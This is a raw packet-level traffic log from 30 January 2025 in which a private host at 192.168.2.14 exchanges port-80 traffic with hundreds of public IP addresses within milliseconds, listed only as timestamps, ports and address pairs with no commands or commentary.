Jan 30, 2025 10:43:00.077538013 CET	62855	80	192.168.2.14	167.83.109.80
Jan 30, 2025 10:43:00.077539921 CET	62855	80	192.168.2.14	103.44.133.210
Jan 30, 2025 10:43:00.077737093 CET	80	62855	112.235.91.75	192.168.2.14
Jan 30, 2025 10:43:00.077756882 CET	80	62855	95.58.145.95	192.168.2.14
Jan 30, 2025 10:43:00.077766895 CET	80	62855	75.126.156.38	192.168.2.14
Jan 30, 2025 10:43:00.077775002 CET	62855	80	192.168.2.14	112.235.91.75
Jan 30, 2025 10:43:00.077778101 CET	80	62855	148.126.172.10	192.168.2.14
Jan 30, 2025 10:43:00.077792883 CET	62855	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:00.077800989 CET	62855	80	192.168.2.14	75.126.156.38
Jan 30, 2025 10:43:00.077806950 CET	80	62855	63.179.229.61	192.168.2.14
Jan 30, 2025 10:43:00.077816010 CET	62855	80	192.168.2.14	148.126.172.10
Jan 30, 2025 10:43:00.077817917 CET	80	62855	135.33.37.175	192.168.2.14
Jan 30, 2025 10:43:00.077828884 CET	80	62855	167.137.151.25	192.168.2.14
Jan 30, 2025 10:43:00.077840090 CET	80	62855	14.190.218.71	192.168.2.14
Jan 30, 2025 10:43:00.077850103 CET	80	62855	135.121.243.76	192.168.2.14
Jan 30, 2025 10:43:00.077869892 CET	80	62855	119.27.8.73	192.168.2.14
Jan 30, 2025 10:43:00.077882051 CET	62855	80	192.168.2.14	135.33.37.175
Jan 30, 2025 10:43:00.077882051 CET	80	62855	144.85.7.196	192.168.2.14
Jan 30, 2025 10:43:00.077882051 CET	62855	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:00.077882051 CET	62855	80	192.168.2.14	167.137.151.25
Jan 30, 2025 10:43:00.077882051 CET	62855	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:00.077882051 CET	62855	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:00.077894926 CET	80	62855	142.123.19.80	192.168.2.14
Jan 30, 2025 10:43:00.077905893 CET	62855	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:00.077905893 CET	80	62855	17.134.11.14	192.168.2.14
Jan 30, 2025 10:43:00.077922106 CET	62855	80	192.168.2.14	144.85.7.196
Jan 30, 2025 10:43:00.077925920 CET	80	62855	212.146.212.212	192.168.2.14
Jan 30, 2025 10:43:00.077933073 CET	62855	80	192.168.2.14	142.123.19.80
Jan 30, 2025 10:43:00.077934027 CET	62855	80	192.168.2.14	17.134.11.14
Jan 30, 2025 10:43:00.077938080 CET	80	62855	103.213.214.129	192.168.2.14
Jan 30, 2025 10:43:00.077964067 CET	62855	80	192.168.2.14	212.146.212.212
Jan 30, 2025 10:43:00.077975988 CET	62855	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:00.078308105 CET	80	62855	155.198.4.108	192.168.2.14
Jan 30, 2025 10:43:00.078351974 CET	62855	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:00.078356981 CET	80	62855	20.190.13.119	192.168.2.14
Jan 30, 2025 10:43:00.078367949 CET	80	62855	169.134.77.237	192.168.2.14
Jan 30, 2025 10:43:00.078378916 CET	80	62855	19.48.24.237	192.168.2.14
Jan 30, 2025 10:43:00.078391075 CET	62855	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:00.078399897 CET	80	62855	192.36.128.195	192.168.2.14
Jan 30, 2025 10:43:00.078409910 CET	80	62855	107.102.56.208	192.168.2.14
Jan 30, 2025 10:43:00.078412056 CET	62855	80	192.168.2.14	169.134.77.237
Jan 30, 2025 10:43:00.078412056 CET	62855	80	192.168.2.14	19.48.24.237
Jan 30, 2025 10:43:00.078422070 CET	80	62855	76.228.178.139	192.168.2.14
Jan 30, 2025 10:43:00.078432083 CET	80	62855	32.243.4.33	192.168.2.14
Jan 30, 2025 10:43:00.078443050 CET	80	62855	219.124.101.191	192.168.2.14
Jan 30, 2025 10:43:00.078453064 CET	80	62855	207.173.216.199	192.168.2.14
Jan 30, 2025 10:43:00.078464031 CET	80	62855	151.165.83.172	192.168.2.14
Jan 30, 2025 10:43:00.078474998 CET	80	62855	148.70.250.60	192.168.2.14
Jan 30, 2025 10:43:00.078485012 CET	80	62855	69.179.37.238	192.168.2.14
Jan 30, 2025 10:43:00.078490019 CET	62855	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:00.078494072 CET	62855	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:00.078494072 CET	62855	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:00.078495026 CET	80	62855	104.250.231.48	192.168.2.14
Jan 30, 2025 10:43:00.078502893 CET	62855	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:00.078504086 CET	62855	80	192.168.2.14	207.173.216.199
Jan 30, 2025 10:43:00.078505993 CET	62855	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:00.078507900 CET	62855	80	192.168.2.14	151.165.83.172
Jan 30, 2025 10:43:00.078515053 CET	62855	80	192.168.2.14	148.70.250.60
Jan 30, 2025 10:43:00.078516006 CET	80	62855	79.203.84.48	192.168.2.14
Jan 30, 2025 10:43:00.078524113 CET	62855	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:00.078524113 CET	62855	80	192.168.2.14	69.179.37.238
Jan 30, 2025 10:43:00.078526974 CET	80	62855	206.228.21.107	192.168.2.14
Jan 30, 2025 10:43:00.078538895 CET	80	62855	113.148.146.197	192.168.2.14
Jan 30, 2025 10:43:00.078551054 CET	80	62855	69.152.33.44	192.168.2.14
Jan 30, 2025 10:43:00.078557968 CET	62855	80	192.168.2.14	79.203.84.48
Jan 30, 2025 10:43:00.078557968 CET	62855	80	192.168.2.14	206.228.21.107
Jan 30, 2025 10:43:00.078562021 CET	80	62855	91.92.249.234	192.168.2.14
Jan 30, 2025 10:43:00.078569889 CET	62855	80	192.168.2.14	113.148.146.197
Jan 30, 2025 10:43:00.078576088 CET	80	62855	144.10.187.85	192.168.2.14
Jan 30, 2025 10:43:00.078581095 CET	62855	80	192.168.2.14	69.152.33.44
Jan 30, 2025 10:43:00.078586102 CET	80	62855	67.120.157.5	192.168.2.14
Jan 30, 2025 10:43:00.078608990 CET	62855	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:00.078608990 CET	62855	80	192.168.2.14	144.10.187.85
Jan 30, 2025 10:43:00.078624010 CET	62855	80	192.168.2.14	67.120.157.5
Jan 30, 2025 10:43:00.078753948 CET	80	62855	135.235.146.195	192.168.2.14
Jan 30, 2025 10:43:00.078792095 CET	62855	80	192.168.2.14	135.235.146.195
Jan 30, 2025 10:43:00.078888893 CET	80	62855	207.195.50.93	192.168.2.14
Jan 30, 2025 10:43:00.078901052 CET	80	62855	57.162.48.58	192.168.2.14
Jan 30, 2025 10:43:00.078911066 CET	80	62855	172.66.73.190	192.168.2.14
Jan 30, 2025 10:43:00.078922033 CET	80	62855	85.67.211.58	192.168.2.14
Jan 30, 2025 10:43:00.078926086 CET	62855	80	192.168.2.14	207.195.50.93
Jan 30, 2025 10:43:00.078933001 CET	62855	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:00.078933001 CET	80	62855	182.44.1.128	192.168.2.14
Jan 30, 2025 10:43:00.078943968 CET	80	62855	107.251.13.205	192.168.2.14
Jan 30, 2025 10:43:00.078948975 CET	62855	80	192.168.2.14	172.66.73.190
Jan 30, 2025 10:43:00.078954935 CET	80	62855	17.226.211.55	192.168.2.14
Jan 30, 2025 10:43:00.078960896 CET	62855	80	192.168.2.14	85.67.211.58
Jan 30, 2025 10:43:00.078969955 CET	62855	80	192.168.2.14	182.44.1.128
Jan 30, 2025 10:43:00.078972101 CET	62855	80	192.168.2.14	107.251.13.205
Jan 30, 2025 10:43:00.078975916 CET	80	62855	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:00.078986883 CET	80	62855	23.12.102.222	192.168.2.14
Jan 30, 2025 10:43:00.078991890 CET	62855	80	192.168.2.14	17.226.211.55
Jan 30, 2025 10:43:00.078996897 CET	80	62855	8.228.23.204	192.168.2.14
Jan 30, 2025 10:43:00.079009056 CET	80	62855	109.161.22.103	192.168.2.14
Jan 30, 2025 10:43:00.079013109 CET	62855	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:00.079020023 CET	80	62855	50.174.166.7	192.168.2.14
Jan 30, 2025 10:43:00.079030991 CET	80	62855	212.143.140.222	192.168.2.14
Jan 30, 2025 10:43:00.079041958 CET	80	62855	90.51.118.137	192.168.2.14
Jan 30, 2025 10:43:00.079054117 CET	80	62855	19.226.188.37	192.168.2.14
Jan 30, 2025 10:43:00.079060078 CET	62855	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:00.079063892 CET	62855	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:00.079063892 CET	80	62855	148.78.132.219	192.168.2.14
Jan 30, 2025 10:43:00.079065084 CET	62855	80	192.168.2.14	212.143.140.222
Jan 30, 2025 10:43:00.079063892 CET	62855	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:00.079072952 CET	62855	80	192.168.2.14	90.51.118.137
Jan 30, 2025 10:43:00.079077959 CET	80	62855	216.254.183.56	192.168.2.14
Jan 30, 2025 10:43:00.079078913 CET	62855	80	192.168.2.14	19.226.188.37
Jan 30, 2025 10:43:00.079087019 CET	62855	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:00.079103947 CET	62855	80	192.168.2.14	148.78.132.219
Jan 30, 2025 10:43:00.079113007 CET	62855	80	192.168.2.14	216.254.183.56
Jan 30, 2025 10:43:00.079283953 CET	80	62855	31.103.60.181	192.168.2.14
Jan 30, 2025 10:43:00.079294920 CET	80	62855	109.211.41.10	192.168.2.14
Jan 30, 2025 10:43:00.079305887 CET	80	62855	150.42.138.187	192.168.2.14
Jan 30, 2025 10:43:00.079324007 CET	80	62855	126.105.36.17	192.168.2.14
Jan 30, 2025 10:43:00.079329967 CET	62855	80	192.168.2.14	31.103.60.181
Jan 30, 2025 10:43:00.079332113 CET	62855	80	192.168.2.14	109.211.41.10
Jan 30, 2025 10:43:00.079336882 CET	80	62855	173.0.154.121	192.168.2.14
Jan 30, 2025 10:43:00.079341888 CET	62855	80	192.168.2.14	150.42.138.187
Jan 30, 2025 10:43:00.079348087 CET	80	62855	142.106.36.164	192.168.2.14
Jan 30, 2025 10:43:00.079359055 CET	80	62855	139.50.85.80	192.168.2.14
Jan 30, 2025 10:43:00.079360008 CET	62855	80	192.168.2.14	126.105.36.17
Jan 30, 2025 10:43:00.079369068 CET	62855	80	192.168.2.14	173.0.154.121
Jan 30, 2025 10:43:00.079369068 CET	80	62855	132.76.71.24	192.168.2.14
Jan 30, 2025 10:43:00.079380035 CET	62855	80	192.168.2.14	142.106.36.164
Jan 30, 2025 10:43:00.079390049 CET	80	62855	39.129.40.6	192.168.2.14
Jan 30, 2025 10:43:00.079394102 CET	62855	80	192.168.2.14	139.50.85.80
Jan 30, 2025 10:43:00.079400063 CET	80	62855	152.124.239.68	192.168.2.14
Jan 30, 2025 10:43:00.079401016 CET	62855	80	192.168.2.14	132.76.71.24
Jan 30, 2025 10:43:00.079411030 CET	80	62855	216.142.41.82	192.168.2.14
Jan 30, 2025 10:43:00.079428911 CET	62855	80	192.168.2.14	39.129.40.6
Jan 30, 2025 10:43:00.079432964 CET	62855	80	192.168.2.14	152.124.239.68
Jan 30, 2025 10:43:00.079447031 CET	62855	80	192.168.2.14	216.142.41.82
Jan 30, 2025 10:43:00.079780102 CET	80	62855	58.22.246.17	192.168.2.14
Jan 30, 2025 10:43:00.079792023 CET	80	62855	50.215.62.110	192.168.2.14
Jan 30, 2025 10:43:00.079802036 CET	80	62855	92.149.179.122	192.168.2.14
Jan 30, 2025 10:43:00.079812050 CET	80	62855	31.96.64.186	192.168.2.14
Jan 30, 2025 10:43:00.079822063 CET	62855	80	192.168.2.14	58.22.246.17
Jan 30, 2025 10:43:00.079826117 CET	80	62855	112.4.122.145	192.168.2.14
Jan 30, 2025 10:43:00.079837084 CET	80	62855	53.17.124.168	192.168.2.14
Jan 30, 2025 10:43:00.079838991 CET	62855	80	192.168.2.14	50.215.62.110
Jan 30, 2025 10:43:00.079843998 CET	62855	80	192.168.2.14	92.149.179.122
Jan 30, 2025 10:43:00.079843998 CET	62855	80	192.168.2.14	31.96.64.186
Jan 30, 2025 10:43:00.079863071 CET	80	62855	219.89.136.181	192.168.2.14
Jan 30, 2025 10:43:00.079863071 CET	62855	80	192.168.2.14	112.4.122.145
Jan 30, 2025 10:43:00.079869986 CET	62855	80	192.168.2.14	53.17.124.168
Jan 30, 2025 10:43:00.079874992 CET	80	62855	103.63.230.178	192.168.2.14
Jan 30, 2025 10:43:00.079885960 CET	80	62855	45.52.168.189	192.168.2.14
Jan 30, 2025 10:43:00.079898119 CET	80	62855	126.241.56.100	192.168.2.14
Jan 30, 2025 10:43:00.079898119 CET	62855	80	192.168.2.14	219.89.136.181
Jan 30, 2025 10:43:00.079911947 CET	62855	80	192.168.2.14	103.63.230.178
Jan 30, 2025 10:43:00.079925060 CET	80	62855	112.191.120.190	192.168.2.14
Jan 30, 2025 10:43:00.079926968 CET	62855	80	192.168.2.14	45.52.168.189
Jan 30, 2025 10:43:00.079926968 CET	62855	80	192.168.2.14	126.241.56.100
Jan 30, 2025 10:43:00.079937935 CET	80	62855	211.121.19.98	192.168.2.14
Jan 30, 2025 10:43:00.079950094 CET	80	62855	145.51.188.35	192.168.2.14
Jan 30, 2025 10:43:00.079961061 CET	80	62855	146.154.20.67	192.168.2.14
Jan 30, 2025 10:43:00.079961061 CET	62855	80	192.168.2.14	112.191.120.190
Jan 30, 2025 10:43:00.079969883 CET	62855	80	192.168.2.14	211.121.19.98
Jan 30, 2025 10:43:00.079971075 CET	80	62855	81.215.13.56	192.168.2.14
Jan 30, 2025 10:43:00.079984903 CET	80	62855	114.139.188.244	192.168.2.14
Jan 30, 2025 10:43:00.079988003 CET	62855	80	192.168.2.14	145.51.188.35
Jan 30, 2025 10:43:00.079994917 CET	80	62855	192.17.120.24	192.168.2.14
Jan 30, 2025 10:43:00.080003977 CET	62855	80	192.168.2.14	81.215.13.56
Jan 30, 2025 10:43:00.080004930 CET	62855	80	192.168.2.14	146.154.20.67
Jan 30, 2025 10:43:00.080005884 CET	80	62855	146.248.193.193	192.168.2.14
Jan 30, 2025 10:43:00.080015898 CET	62855	80	192.168.2.14	114.139.188.244
Jan 30, 2025 10:43:00.080025911 CET	80	62855	117.14.119.152	192.168.2.14
Jan 30, 2025 10:43:00.080028057 CET	62855	80	192.168.2.14	192.17.120.24
Jan 30, 2025 10:43:00.080035925 CET	80	62855	144.89.29.55	192.168.2.14
Jan 30, 2025 10:43:00.080045938 CET	80	62855	142.39.226.152	192.168.2.14
Jan 30, 2025 10:43:00.080045938 CET	62855	80	192.168.2.14	146.248.193.193
Jan 30, 2025 10:43:00.080058098 CET	80	62855	36.1.42.13	192.168.2.14
Jan 30, 2025 10:43:00.080058098 CET	62855	80	192.168.2.14	117.14.119.152
Jan 30, 2025 10:43:00.080069065 CET	80	62855	153.119.165.8	192.168.2.14
Jan 30, 2025 10:43:00.080075026 CET	62855	80	192.168.2.14	144.89.29.55
Jan 30, 2025 10:43:00.080079079 CET	80	62855	64.240.244.241	192.168.2.14
Jan 30, 2025 10:43:00.080081940 CET	62855	80	192.168.2.14	142.39.226.152
Jan 30, 2025 10:43:00.080090046 CET	62855	80	192.168.2.14	153.119.165.8
Jan 30, 2025 10:43:00.080090046 CET	80	62855	117.139.155.30	192.168.2.14
Jan 30, 2025 10:43:00.080091953 CET	62855	80	192.168.2.14	36.1.42.13
Jan 30, 2025 10:43:00.080101967 CET	80	62855	110.248.0.45	192.168.2.14
Jan 30, 2025 10:43:00.080112934 CET	80	62855	53.153.45.33	192.168.2.14
Jan 30, 2025 10:43:00.080118895 CET	62855	80	192.168.2.14	64.240.244.241
Jan 30, 2025 10:43:00.080118895 CET	62855	80	192.168.2.14	117.139.155.30
Jan 30, 2025 10:43:00.080136061 CET	62855	80	192.168.2.14	110.248.0.45
Jan 30, 2025 10:43:00.080142021 CET	62855	80	192.168.2.14	53.153.45.33
Jan 30, 2025 10:43:00.080353022 CET	80	62855	131.251.91.77	192.168.2.14
Jan 30, 2025 10:43:00.080363035 CET	80	62855	217.199.94.219	192.168.2.14
Jan 30, 2025 10:43:00.080374002 CET	80	62855	165.143.134.181	192.168.2.14
Jan 30, 2025 10:43:00.080385923 CET	80	62855	72.105.89.222	192.168.2.14
Jan 30, 2025 10:43:00.080388069 CET	62855	80	192.168.2.14	131.251.91.77
Jan 30, 2025 10:43:00.080395937 CET	80	62855	49.180.43.128	192.168.2.14
Jan 30, 2025 10:43:00.080400944 CET	62855	80	192.168.2.14	217.199.94.219
Jan 30, 2025 10:43:00.080401897 CET	62855	80	192.168.2.14	165.143.134.181
Jan 30, 2025 10:43:00.080406904 CET	80	62855	68.223.59.136	192.168.2.14
Jan 30, 2025 10:43:00.080414057 CET	62855	80	192.168.2.14	72.105.89.222
Jan 30, 2025 10:43:00.080418110 CET	80	62855	87.39.65.147	192.168.2.14
Jan 30, 2025 10:43:00.080420971 CET	62855	80	192.168.2.14	49.180.43.128
Jan 30, 2025 10:43:00.080432892 CET	80	62855	208.162.16.144	192.168.2.14
Jan 30, 2025 10:43:00.080452919 CET	62855	80	192.168.2.14	87.39.65.147
Jan 30, 2025 10:43:00.080456018 CET	62855	80	192.168.2.14	68.223.59.136
Jan 30, 2025 10:43:00.080472946 CET	62855	80	192.168.2.14	208.162.16.144
Jan 30, 2025 10:43:00.080528021 CET	80	62855	211.181.30.169	192.168.2.14
Jan 30, 2025 10:43:00.080538988 CET	80	62855	159.174.129.124	192.168.2.14
Jan 30, 2025 10:43:00.080549002 CET	80	62855	67.25.224.233	192.168.2.14
Jan 30, 2025 10:43:00.080559969 CET	80	62855	200.144.124.180	192.168.2.14
Jan 30, 2025 10:43:00.080569029 CET	80	62855	101.70.207.89	192.168.2.14
Jan 30, 2025 10:43:00.080574036 CET	80	62855	198.162.42.231	192.168.2.14
Jan 30, 2025 10:43:00.080574036 CET	62855	80	192.168.2.14	211.181.30.169
Jan 30, 2025 10:43:00.080574036 CET	62855	80	192.168.2.14	159.174.129.124
Jan 30, 2025 10:43:00.080580950 CET	62855	80	192.168.2.14	67.25.224.233
Jan 30, 2025 10:43:00.080585957 CET	80	62855	191.174.54.75	192.168.2.14
Jan 30, 2025 10:43:00.080596924 CET	80	62855	69.210.196.74	192.168.2.14
Jan 30, 2025 10:43:00.080606937 CET	80	62855	160.121.6.141	192.168.2.14
Jan 30, 2025 10:43:00.080606937 CET	62855	80	192.168.2.14	200.144.124.180
Jan 30, 2025 10:43:00.080609083 CET	62855	80	192.168.2.14	101.70.207.89
Jan 30, 2025 10:43:00.080611944 CET	62855	80	192.168.2.14	198.162.42.231
Jan 30, 2025 10:43:00.080617905 CET	80	62855	47.150.255.82	192.168.2.14
Jan 30, 2025 10:43:00.080629110 CET	62855	80	192.168.2.14	191.174.54.75
Jan 30, 2025 10:43:00.080630064 CET	80	62855	90.9.136.68	192.168.2.14
Jan 30, 2025 10:43:00.080634117 CET	62855	80	192.168.2.14	69.210.196.74
Jan 30, 2025 10:43:00.080640078 CET	80	62855	73.249.80.253	192.168.2.14
Jan 30, 2025 10:43:00.080646038 CET	62855	80	192.168.2.14	160.121.6.141
Jan 30, 2025 10:43:00.080646038 CET	62855	80	192.168.2.14	47.150.255.82
Jan 30, 2025 10:43:00.080670118 CET	62855	80	192.168.2.14	73.249.80.253
Jan 30, 2025 10:43:00.080673933 CET	62855	80	192.168.2.14	90.9.136.68
Jan 30, 2025 10:43:00.080894947 CET	80	62855	171.127.90.238	192.168.2.14
Jan 30, 2025 10:43:00.080908060 CET	80	62855	76.181.128.113	192.168.2.14
Jan 30, 2025 10:43:00.080919027 CET	80	62855	88.179.12.58	192.168.2.14
Jan 30, 2025 10:43:00.080930948 CET	80	62855	49.194.68.69	192.168.2.14
Jan 30, 2025 10:43:00.080938101 CET	62855	80	192.168.2.14	171.127.90.238
Jan 30, 2025 10:43:00.080941916 CET	80	62855	61.167.30.151	192.168.2.14
Jan 30, 2025 10:43:00.080944061 CET	62855	80	192.168.2.14	76.181.128.113
Jan 30, 2025 10:43:00.080949068 CET	62855	80	192.168.2.14	88.179.12.58
Jan 30, 2025 10:43:00.080954075 CET	80	62855	162.2.114.82	192.168.2.14
Jan 30, 2025 10:43:00.080965042 CET	80	62855	153.90.115.115	192.168.2.14
Jan 30, 2025 10:43:00.080971956 CET	62855	80	192.168.2.14	49.194.68.69
Jan 30, 2025 10:43:00.080971956 CET	62855	80	192.168.2.14	61.167.30.151
Jan 30, 2025 10:43:00.080975056 CET	80	62855	126.69.149.125	192.168.2.14
Jan 30, 2025 10:43:00.080984116 CET	62855	80	192.168.2.14	162.2.114.82
Jan 30, 2025 10:43:00.080990076 CET	80	62855	196.207.197.148	192.168.2.14
Jan 30, 2025 10:43:00.081001997 CET	80	62855	223.215.174.109	192.168.2.14
Jan 30, 2025 10:43:00.081002951 CET	62855	80	192.168.2.14	153.90.115.115
Jan 30, 2025 10:43:00.081012011 CET	80	62855	24.11.68.245	192.168.2.14
Jan 30, 2025 10:43:00.081022978 CET	80	62855	1.215.131.69	192.168.2.14
Jan 30, 2025 10:43:00.081026077 CET	62855	80	192.168.2.14	126.69.149.125
Jan 30, 2025 10:43:00.081031084 CET	62855	80	192.168.2.14	196.207.197.148
Jan 30, 2025 10:43:00.081032038 CET	62855	80	192.168.2.14	223.215.174.109
Jan 30, 2025 10:43:00.081044912 CET	62855	80	192.168.2.14	24.11.68.245
Jan 30, 2025 10:43:00.081049919 CET	62855	80	192.168.2.14	1.215.131.69
Jan 30, 2025 10:43:00.081222057 CET	80	62855	184.180.9.218	192.168.2.14
Jan 30, 2025 10:43:00.081233025 CET	80	62855	170.214.2.3	192.168.2.14
Jan 30, 2025 10:43:00.081243992 CET	80	62855	60.198.219.95	192.168.2.14
Jan 30, 2025 10:43:00.081254959 CET	80	62855	148.33.225.152	192.168.2.14
Jan 30, 2025 10:43:00.081264973 CET	80	62855	117.54.251.22	192.168.2.14
Jan 30, 2025 10:43:00.081268072 CET	62855	80	192.168.2.14	170.214.2.3
Jan 30, 2025 10:43:00.081269026 CET	62855	80	192.168.2.14	184.180.9.218
Jan 30, 2025 10:43:00.081279039 CET	62855	80	192.168.2.14	60.198.219.95
Jan 30, 2025 10:43:00.081280947 CET	80	62855	176.135.91.100	192.168.2.14
Jan 30, 2025 10:43:00.081293106 CET	80	62855	139.191.119.96	192.168.2.14
Jan 30, 2025 10:43:00.081293106 CET	62855	80	192.168.2.14	148.33.225.152
Jan 30, 2025 10:43:00.081296921 CET	62855	80	192.168.2.14	117.54.251.22
Jan 30, 2025 10:43:00.081302881 CET	80	62855	181.157.189.97	192.168.2.14
Jan 30, 2025 10:43:00.081310987 CET	62855	80	192.168.2.14	176.135.91.100
Jan 30, 2025 10:43:00.081314087 CET	80	62855	132.148.18.137	192.168.2.14
Jan 30, 2025 10:43:00.081324100 CET	80	62855	90.210.212.118	192.168.2.14
Jan 30, 2025 10:43:00.081329107 CET	62855	80	192.168.2.14	139.191.119.96
Jan 30, 2025 10:43:00.081336975 CET	62855	80	192.168.2.14	181.157.189.97
Jan 30, 2025 10:43:00.081340075 CET	80	62855	146.129.140.70	192.168.2.14
Jan 30, 2025 10:43:00.081350088 CET	80	62855	154.181.24.3	192.168.2.14
Jan 30, 2025 10:43:00.081357956 CET	62855	80	192.168.2.14	132.148.18.137
Jan 30, 2025 10:43:00.081360102 CET	80	62855	195.171.68.101	192.168.2.14
Jan 30, 2025 10:43:00.081362963 CET	62855	80	192.168.2.14	90.210.212.118
Jan 30, 2025 10:43:00.081371069 CET	80	62855	114.206.65.7	192.168.2.14
Jan 30, 2025 10:43:00.081373930 CET	62855	80	192.168.2.14	146.129.140.70
Jan 30, 2025 10:43:00.081381083 CET	62855	80	192.168.2.14	154.181.24.3
Jan 30, 2025 10:43:00.081382036 CET	80	62855	172.200.30.49	192.168.2.14
Jan 30, 2025 10:43:00.081393957 CET	80	62855	94.254.114.97	192.168.2.14
Jan 30, 2025 10:43:00.081402063 CET	62855	80	192.168.2.14	195.171.68.101
Jan 30, 2025 10:43:00.081403971 CET	80	62855	210.140.103.38	192.168.2.14
Jan 30, 2025 10:43:00.081410885 CET	62855	80	192.168.2.14	114.206.65.7
Jan 30, 2025 10:43:00.081413984 CET	80	62855	44.243.135.244	192.168.2.14
Jan 30, 2025 10:43:00.081425905 CET	62855	80	192.168.2.14	172.200.30.49
Jan 30, 2025 10:43:00.081428051 CET	80	62855	86.166.253.94	192.168.2.14
Jan 30, 2025 10:43:00.081432104 CET	62855	80	192.168.2.14	94.254.114.97
Jan 30, 2025 10:43:00.081439018 CET	80	62855	119.66.89.166	192.168.2.14
Jan 30, 2025 10:43:00.081443071 CET	62855	80	192.168.2.14	210.140.103.38
Jan 30, 2025 10:43:00.081451893 CET	62855	80	192.168.2.14	44.243.135.244
Jan 30, 2025 10:43:00.081451893 CET	80	62855	137.154.187.141	192.168.2.14
Jan 30, 2025 10:43:00.081453085 CET	62855	80	192.168.2.14	86.166.253.94
Jan 30, 2025 10:43:00.081464052 CET	62855	80	192.168.2.14	119.66.89.166
Jan 30, 2025 10:43:00.081487894 CET	62855	80	192.168.2.14	137.154.187.141
Jan 30, 2025 10:43:00.081489086 CET	80	62855	87.139.95.208	192.168.2.14
Jan 30, 2025 10:43:00.081502914 CET	80	62855	51.224.252.156	192.168.2.14
Jan 30, 2025 10:43:00.081512928 CET	80	62855	177.0.56.177	192.168.2.14
Jan 30, 2025 10:43:00.081532001 CET	62855	80	192.168.2.14	87.139.95.208
Jan 30, 2025 10:43:00.081532001 CET	62855	80	192.168.2.14	51.224.252.156
Jan 30, 2025 10:43:00.081542969 CET	62855	80	192.168.2.14	177.0.56.177
Jan 30, 2025 10:43:00.081753016 CET	80	62855	84.46.25.86	192.168.2.14
Jan 30, 2025 10:43:00.081763029 CET	80	62855	154.120.143.104	192.168.2.14
Jan 30, 2025 10:43:00.081789970 CET	62855	80	192.168.2.14	84.46.25.86
Jan 30, 2025 10:43:00.081794977 CET	62855	80	192.168.2.14	154.120.143.104
Jan 30, 2025 10:43:00.081881046 CET	80	62855	221.45.32.162	192.168.2.14
Jan 30, 2025 10:43:00.081892014 CET	80	62855	205.45.170.154	192.168.2.14
Jan 30, 2025 10:43:00.081902981 CET	80	62855	116.169.60.188	192.168.2.14
Jan 30, 2025 10:43:00.081912994 CET	80	62855	181.240.229.115	192.168.2.14
Jan 30, 2025 10:43:00.081923008 CET	62855	80	192.168.2.14	221.45.32.162
Jan 30, 2025 10:43:00.081923962 CET	80	62855	46.9.233.0	192.168.2.14
Jan 30, 2025 10:43:00.081927061 CET	62855	80	192.168.2.14	205.45.170.154
Jan 30, 2025 10:43:00.081938028 CET	62855	80	192.168.2.14	116.169.60.188
Jan 30, 2025 10:43:00.081943989 CET	80	62855	200.49.13.150	192.168.2.14
Jan 30, 2025 10:43:00.081954002 CET	62855	80	192.168.2.14	181.240.229.115
Jan 30, 2025 10:43:00.081954956 CET	80	62855	164.112.189.23	192.168.2.14
Jan 30, 2025 10:43:00.081960917 CET	62855	80	192.168.2.14	46.9.233.0
Jan 30, 2025 10:43:00.081965923 CET	80	62855	182.35.39.31	192.168.2.14
Jan 30, 2025 10:43:00.081976891 CET	80	62855	200.150.79.161	192.168.2.14
Jan 30, 2025 10:43:00.081981897 CET	62855	80	192.168.2.14	200.49.13.150
Jan 30, 2025 10:43:00.081984997 CET	62855	80	192.168.2.14	164.112.189.23
Jan 30, 2025 10:43:00.081986904 CET	80	62855	197.230.94.185	192.168.2.14
Jan 30, 2025 10:43:00.081994057 CET	62855	80	192.168.2.14	182.35.39.31
Jan 30, 2025 10:43:00.081998110 CET	80	62855	143.115.95.102	192.168.2.14
Jan 30, 2025 10:43:00.082010984 CET	62855	80	192.168.2.14	200.150.79.161
Jan 30, 2025 10:43:00.082026958 CET	62855	80	192.168.2.14	197.230.94.185
Jan 30, 2025 10:43:00.082029104 CET	62855	80	192.168.2.14	143.115.95.102
Jan 30, 2025 10:43:00.082187891 CET	80	62855	53.122.86.165	192.168.2.14
Jan 30, 2025 10:43:00.082199097 CET	80	62855	136.66.203.34	192.168.2.14
Jan 30, 2025 10:43:00.082209110 CET	80	62855	220.33.77.89	192.168.2.14
Jan 30, 2025 10:43:00.082221031 CET	80	62855	207.82.232.213	192.168.2.14
Jan 30, 2025 10:43:00.082222939 CET	62855	80	192.168.2.14	53.122.86.165
Jan 30, 2025 10:43:00.082226992 CET	62855	80	192.168.2.14	136.66.203.34
Jan 30, 2025 10:43:00.082232952 CET	62855	80	192.168.2.14	220.33.77.89
Jan 30, 2025 10:43:00.082236052 CET	80	62855	71.39.94.121	192.168.2.14
Jan 30, 2025 10:43:00.082253933 CET	62855	80	192.168.2.14	207.82.232.213
Jan 30, 2025 10:43:00.082271099 CET	62855	80	192.168.2.14	71.39.94.121
Jan 30, 2025 10:43:00.082293987 CET	80	62855	120.13.30.83	192.168.2.14
Jan 30, 2025 10:43:00.082304955 CET	80	62855	135.137.219.42	192.168.2.14
Jan 30, 2025 10:43:00.082314968 CET	80	62855	13.140.46.184	192.168.2.14
Jan 30, 2025 10:43:00.082324982 CET	80	62855	157.11.254.63	192.168.2.14
Jan 30, 2025 10:43:00.082329988 CET	62855	80	192.168.2.14	120.13.30.83
Jan 30, 2025 10:43:00.082335949 CET	80	62855	217.17.21.101	192.168.2.14
